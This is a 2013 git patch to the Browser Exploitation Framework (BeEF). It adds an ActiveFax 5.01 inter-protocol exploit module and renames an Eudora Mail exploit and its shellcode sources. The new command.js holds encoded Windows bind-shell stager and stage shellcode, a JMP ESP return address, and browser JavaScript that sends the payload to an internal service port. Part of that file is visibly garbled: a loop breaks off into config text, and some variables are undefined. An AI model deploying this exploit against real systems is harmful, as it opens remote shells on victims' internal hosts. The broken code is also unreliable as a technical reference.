From d7116b8f08f7cf8c96945dd43df98f8993707bd7 Mon Sep 17 00:00:00 2001 From: bmantra Date: Fri, 29 Nov 2013 19:18:37 +0100 Subject: [PATCH] add IPE with ActiveFax 5.01 --- .../active_fax_beef_bind/command.js | 76 +++++++++++++++++++ .../active_fax_beef_bind/config.yaml | 15 ++++ .../active_fax_beef_bind/module.rb | 23 ++++++ .../eudora_mail_beef_bind}/command.js | 0 .../eudora_mail_beef_bind}/config.yaml | 6 +- .../eudora_mail_beef_bind}/module.rb | 2 +- .../shellcode_sources/linux/x64/socket64.c | 0 .../shellcode_sources/linux/x64/stage64.nasm | 0 .../shellcode_sources/linux/x64/stager64.nasm | 0 .../shellcode_sources/linux/x86/socket.c | 0 .../shellcode_sources/linux/x86/stage.nasm | 0 .../shellcode_sources/linux/x86/stager.nasm | 0 .../msf/beef_bind-handler.rb | 0 .../msf/beef_bind-stage-linux-x64.rb | 0 .../msf/beef_bind-stage-linux-x86.rb | 0 .../msf/beef_bind-stage-windows-x86.rb | 0 .../msf/beef_bind-stager-linux-x64.rb | 0 .../msf/beef_bind-stager-linux-x86.rb | 0 .../msf/beef_bind-stager-windows-x86.rb | 0 .../shellcode_sources/msf/instructions.txt | 0 .../windows/beef_bind_tcp-stage.asm | 0 .../windows/beef_bind_tcp-stager.asm | 0 .../shellcode_sources/windows/socket.c | 0 .../windows/src/block_api.asm | 0 .../windows/src/block_beef_bind-stage.asm | 0 .../windows/src/block_beef_bind-stager.asm | 0 .../windows/src/block_bind_tcp.asm | 0 .../windows/src/block_pipes.asm | 0 .../windows/src/block_shell_pipes.asm | 0 .../windows/src/block_sleep.asm | 0 .../windows/src/block_virtualalloc.asm | 0 31 files changed, 118 insertions(+), 4 deletions(-) create mode 100644 modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js create mode 100755 modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/config.yaml create mode 100755 modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb rename modules/exploits/beefbind/{beef_bind_staged_deploy => beef_bind_exploits/eudora_mail_beef_bind}/command.js (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => beef_bind_exploits/eudora_mail_beef_bind}/config.yaml (70%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => beef_bind_exploits/eudora_mail_beef_bind}/module.rb (95%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x64/socket64.c (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x64/stage64.nasm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x64/stager64.nasm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x86/socket.c (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x86/stage.nasm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/linux/x86/stager.nasm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-handler.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stage-linux-x64.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stage-linux-x86.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stage-windows-x86.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stager-linux-x64.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stager-linux-x86.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/beef_bind-stager-windows-x86.rb (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/msf/instructions.txt (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/beef_bind_tcp-stage.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/beef_bind_tcp-stager.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/socket.c (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_api.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_beef_bind-stage.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_beef_bind-stager.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_bind_tcp.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_pipes.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_shell_pipes.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_sleep.asm (100%) rename modules/exploits/beefbind/{beef_bind_staged_deploy => }/shellcode_sources/windows/src/block_virtualalloc.asm (100%) diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js new file mode 100644 index 000000000..eba76947b --- /dev/null +++ b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js @@ -0,0 +1,76 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function () { +var rhost = '<%= @rhost %>'; +var rport = '<%= @rport %>'; +var service_port = '<%= @service_port %>'; +var jmpesp = '<%= @jmpesp %>'; + +// BeEF Bind stager, listen on 4444 +var shellcode = '\xd9\xc2\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x6d\x38\x6c\x49\x63\x30\x53\x30\x63\x30\x73\x50\x6f\x79\x68\x65\x65\x61\x5a\x72\x65\x34\x4c\x4b\x31\x42\x76\x50\x6c\x4b\x43\x62\x34\x4c\x6e\x6b\x63\x62\x55\x44\x6e\x6b\x52\x52\x35\x78\x54\x4f\x4c\x77\x31\x5a\x67\x56\x55\x61\x6b\x4f\x64\x71\x59\x50\x4c\x6c\x65\x6c\x43\x51\x31\x6c\x74\x42\x56\x4c\x31\x30\x6b\x71\x7a\x6f\x44\x4d\x37\x71\x39\x57\x69\x72\x6a\x50\x32\x72\x56\x37\x4c\x4b\x53\x62\x32\x30\x4e\x6b\x47\x32\x77\x4c\x66\x61\x48\x50\x6e\x6b\x57\x30\x34\x38\x4c\x45\x6b\x70\x72\x54\x53\x7a\x37\x71\x68\x50\x72\x70\x4e\x6b\x70\x48\x32\x38\x4c\x4b\x46\x38\x45\x70\x53\x31\x59\x43\x7a\x43\x65\x6c\x62\x69\x6e\x6b\x75\x64\x4c\x4b\x47\x71\x48\x56\x75\x61\x6b\x4f\x36\x51\x4b\x70\x6e\x4c\x6f\x31\x7a\x6f\x74\x4d\x53\x31\x68\x47\x70\x38\x79\x70\x62\x55\x68\x74\x65\x53\x71\x6d\x78\x78\x67\x4b\x53\x4d\x57\x54\x30\x75\x48\x62\x50\x58\x6e\x6b\x56\x38\x55\x74\x53\x31\x5a\x73\x71\x76\x6e\x6b\x64\x4c\x72\x6b\x4e\x6b\x76\x38\x35\x4c\x35\x51\x49\x43\x4e\x6b\x37\x74\x4c\x4b\x55\x51\x6a\x70\x6b\x39\x71\x54\x37\x54\x65\x74\x63\x6b\x61\x4b\x30\x61\x53\x69\x63\x6a\x63\x61\x69\x6f\x4d\x30\x32\x78\x31\x4f\x30\x5a\x6c\x4b\x55\x42\x6a\x4b\x4d\x56\x73\x6d\x50\x68\x50\x33\x56\x52\x33\x30\x45\x50\x51\x78\x44\x37\x31\x63\x46\x52\x31\x4f\x70\x54\x62\x48\x70\x4c\x34\x37\x47\x56\x36\x67\x6b\x4f\x68\x55\x6f\x48\x4a\x30\x63\x31\x45\x50\x73\x30\x51\x39\x4f\x34\x36\x34\x52\x70\x42\x48\x75\x79\x4f\x70\x42\x4b\x67\x70\x59\x6f\x49\x45\x76\x30\x36\x30\x66\x30\x32\x70\x77\x30\x72\x70\x77\x30\x62\x70\x65\x38\x68\x6a\x36\x6f\x79\x4f\x6d\x30\x79\x6f\x5a\x75\x7a\x37\x45\x61\x69\x4b\x76\x33\x45\x38\x53\x32\x73\x30\x34\x51\x43\x6c\x6b\x39\x6a\x46\x31\x7a\x52\x30\x70\x56\x31\x47\x51\x78\x49\x52\x49\x4b\x56\x57\x51\x77\x4b\x4f\x58\x55\x76\x33\x31\x47\x42\x48\x48\x37\x78\x69\x34\x78\x49\x6f\x79\x6f\x79\x45\x32\x73\x51\x43\x72\x77\x72\x48\x63\x44\x48\x6c\x47\x4b\x6b\x51\x4b\x4f\x48\x55\x63\x67\x4c\x57\x63\x58\x33\x45\x72\x4e\x42\x6d\x43\x51\x39\x6f\x49\x45\x4f\x4b\x37\x70\x62\x30\x73\x30\x67\x70\x42\x4a\x77\x30\x76\x33\x61\x43\x31\x7a\x77\x70\x33\x58\x61\x48\x4f\x54\x53\x63\x4a\x45\x79\x6f\x78\x55\x6d\x59\x49\x56\x50\x6a\x57\x70\x43\x63\x70\x50\x72\x77\x43\x58\x55\x52\x6a\x79\x78\x48\x43\x6f\x4b\x4f\x5a\x75\x43\x67\x63\x58\x6f\x36\x4f\x66\x4e\x67\x56\x32\x59\x6f\x79\x45\x6d\x51\x47\x4e\x45\x33\x62\x4d\x72\x44\x45\x6d\x53\x44\x75\x53\x52\x66\x38\x6b\x48\x75\x6c\x43\x4a\x66\x36\x64\x6b\x4f\x69\x76\x41\x41'; + +var stage = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x14\x57\x53\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x89\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74\x24\x10\xff\x74\x24\x14\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00\x00\x8d\x46\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe\x18\x04\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d\x0a\x5e\xb9\x62\x00\x00\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89\x3e\x6a\x00\x68\x00\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54\x24\x64\xb9\x00\x04\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb\xf2\x81\xc3\x03\x00\x00\x00\x43\x53\x68\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00\x57\x68\x01\x00\x00\x00\x53\x8b\x5c\x24\x70\x53\x68\x2d\x57\xae\x5b\xff\xd5\x5b\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x31\xc0\x50\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24\x74\x8b\x1b\x53\x68\x18\xb7\x3c\xb3\xff\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85\xc0\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14\x04\x00\x00\x57\x68\x86\x0b\x00\x00\x8d\xbe\x7a\x04\x00\x00\x57\x8d\x5c\x24\x70\x8b\x1b\x53\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6\x96\x87\x52\xff\xd5\xe9\x38\xfe\xff\xff'; + +var adjust = '\x81\xc4\x24\xfa\xff\xff'; + +log = function(data){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, data); + beef.debug(data); + }; + +sendpayload = function(payload, uri, timeout, logdata){ + var xhr = new XMLHttpRequest(); + // for WebKit-based browsers + if (!XMLHttpRequest.prototype.sendAsBinary) { + XMLHttpRequest.prototype.sendAsBinary = function (sData) { + var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); + for (var nIdx = 0; nIdx < nBytes; nIdx++) { + ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; + } + /* send as ArrayBufferView...: */ + this.send(ui8Data); + }; + } + xhr.open("POST", url, true); + xhr.setRequestHeader("Content-Type", "text/plain"); + xhr.setRequestHeader('Accept','*/*'); + xhr.setRequestHeader("Accept-Language", "en"); +    xhr.sendAsBinary(post_body); + if (timeout>0) { + setTimeout(function(){xhr.abort();log(logdata);}, timeout); + } else { + log(logdata); + } +}; + +var shellcode_chunk_1 = shellcode.slice(0,554); +var shellcode_chunk_2 = shellcode.slice(554, shellcode.length); + +function genJunk(c, length){ + var temp = ""; + for(var i=0;ihttp://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html). His initial exploit has been modified in order to deliver the BeEF bind payload through Inter-Protocol Exploitation (IPE)." + authors: ["antisnatchor","Bart Leppens"] + target: + working: ["FF"] diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb new file mode 100755 index 000000000..4661a2f29 --- /dev/null +++ b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb @@ -0,0 +1,23 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Active_fax_beef_bind < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + + return [ + { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1'}, + { 'name' => 'service_port', 'ui_label' => 'Target Port', 'value' => '3000'}, + { 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444'}, + { 'name' => 'jmpesp', 'ui_label' => 'JMP ESP', 'value' => '\x77\x9c\x55\x77'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/command.js b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/command.js rename to modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/config.yaml b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml similarity index 70% rename from modules/exploits/beefbind/beef_bind_staged_deploy/config.yaml rename to modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml index 02b3c6e20..27491e725 100755 --- a/modules/exploits/beefbind/beef_bind_staged_deploy/config.yaml +++ b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml @@ -5,11 +5,11 @@ # beef: module: - BeEF_bind_staged_deploy: + Eudora_mail_beef_bind: enable: true category: ["Exploits", "BeEF_bind"] - name: "BeEF bind" - description: "Pwn internal services with a custom staging shellcode. Both the stager and the stage are delivered.
Right now only Eudora Mail 3 (v. v6.1.19.0) on Windows (POP ECX mailcmn.dll) can be exploited: SEH exploit with EggHunter.
More exploits to come soon." + name: "Eudora Mail 3" + description: "Pwn internal services with a custom staging shellcode. Both the stager and the stage are delivered.
Exploit Eudora Mail 3 (v. v6.1.19.0) on Windows (POP ECX mailcmn.dll): SEH exploit with EggHunter." authors: ["antisnatchor", "tymiller"] # shellcode awesomeness -> Ty Miller target: working: ["FF"] diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/module.rb b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb similarity index 95% rename from modules/exploits/beefbind/beef_bind_staged_deploy/module.rb rename to modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb index bd3a9aacd..137a14280 100755 --- a/modules/exploits/beefbind/beef_bind_staged_deploy/module.rb +++ b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb @@ -3,7 +3,7 @@ # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # -class Beef_bind_staged_deploy < BeEF::Core::Command +class Eudora_mail_beef_bind < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/socket64.c b/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/socket64.c rename to modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/stage64.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/stage64.nasm rename to modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/stager64.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x64/stager64.nasm rename to modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/socket.c b/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/socket.c rename to modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/stage.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/stage.nasm rename to modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/stager.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/linux/x86/stager.nasm rename to modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-handler.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-handler.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-handler.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-handler.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-linux-x64.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x64.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-linux-x64.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x64.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-linux-x86.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x86.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-linux-x86.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x86.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-windows-x86.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-windows-x86.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stage-windows-x86.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-windows-x86.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-linux-x64.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x64.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-linux-x64.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x64.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-linux-x86.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x86.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-linux-x86.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x86.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-windows-x86.rb b/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-windows-x86.rb similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/beef_bind-stager-windows-x86.rb rename to modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-windows-x86.rb diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/instructions.txt b/modules/exploits/beefbind/shellcode_sources/msf/instructions.txt similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/msf/instructions.txt rename to modules/exploits/beefbind/shellcode_sources/msf/instructions.txt diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/beef_bind_tcp-stage.asm b/modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stage.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/beef_bind_tcp-stage.asm rename to modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stage.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/beef_bind_tcp-stager.asm b/modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stager.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/beef_bind_tcp-stager.asm rename to modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stager.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/socket.c b/modules/exploits/beefbind/shellcode_sources/windows/socket.c similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/socket.c rename to modules/exploits/beefbind/shellcode_sources/windows/socket.c diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_api.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_api.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_beef_bind-stage.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stage.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_beef_bind-stage.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stage.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_beef_bind-stager.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stager.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_beef_bind-stager.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stager.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_bind_tcp.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_bind_tcp.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_bind_tcp.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_bind_tcp.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_pipes.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_pipes.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_shell_pipes.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_shell_pipes.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_shell_pipes.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_shell_pipes.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_sleep.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_sleep.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_sleep.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_sleep.asm diff --git a/modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_virtualalloc.asm b/modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm similarity index 100% rename from modules/exploits/beefbind/beef_bind_staged_deploy/shellcode_sources/windows/src/block_virtualalloc.asm rename to modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm